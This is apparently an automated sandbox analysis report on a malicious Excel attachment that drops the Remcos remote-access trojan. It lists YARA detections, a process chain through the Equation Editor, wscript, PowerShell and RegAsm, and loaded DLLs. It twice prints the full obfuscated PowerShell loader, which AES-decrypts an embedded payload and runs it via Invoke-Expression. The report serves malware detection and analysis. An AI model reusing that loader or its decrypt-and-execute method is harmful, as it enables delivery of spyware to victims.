              Source: 10.2.powershell.exe.41fd080.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 10.2.powershell.exe.41fd080.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: powershell.exe PID: 1416, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: Process Memory Space: powershell.exe PID: 1416, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
              Source: Process Memory Space: RegAsm.exe PID: 628, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd[1].doc, type: DROPPEDMatched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
              Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\823F0820.doc, type: DROPPEDMatched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
              Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winXLSX@10/28@10/6
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,12_2_00417952
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,12_2_0040F474
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,12_2_0041B4A8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,12_2_0041AA4A
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\~$Purchase Inquiry.xla.xlsxJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMutant created: \Sessions\1\BaseNamedObjects\Rmc-R2I0JW
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR83A0.tmpJump to behavior
              Source: Purchase Inquiry.xla.xlsxOLE indicator, Workbook stream: true
              Source: 65C30000.0.drOLE indicator, Workbook stream: true
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS"
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................(.P..............................]..............................................`..........s............Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................(.P..............................]......................................................................Jump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: Purchase Inquiry.xla.xlsxReversingLabs: Detection: 18%
              Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS"
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
              Source: C:\Windows\System32\dllhost.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\dllhost.exeSection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Windows\System32\dllhost.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\dllhost.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\dllhost.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\System32\dllhost.exeSection loaded: webio.dllJump to behavior
              Source: C:\Windows\System32\dllhost.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\System32\dllhost.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64win.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64cpu.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: msi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: cryptsp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dwmapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: version.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: secur32.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winhttp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: webio.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: iphlpapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winnsi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dnsapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: nlaapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rasadhlp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: propsys.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: ntmarta.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: credssp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msacm32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: shcore.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rstrtmgr.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ncrypt.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: bcrypt.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: webio.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: nlaapi.dllJump to behavior
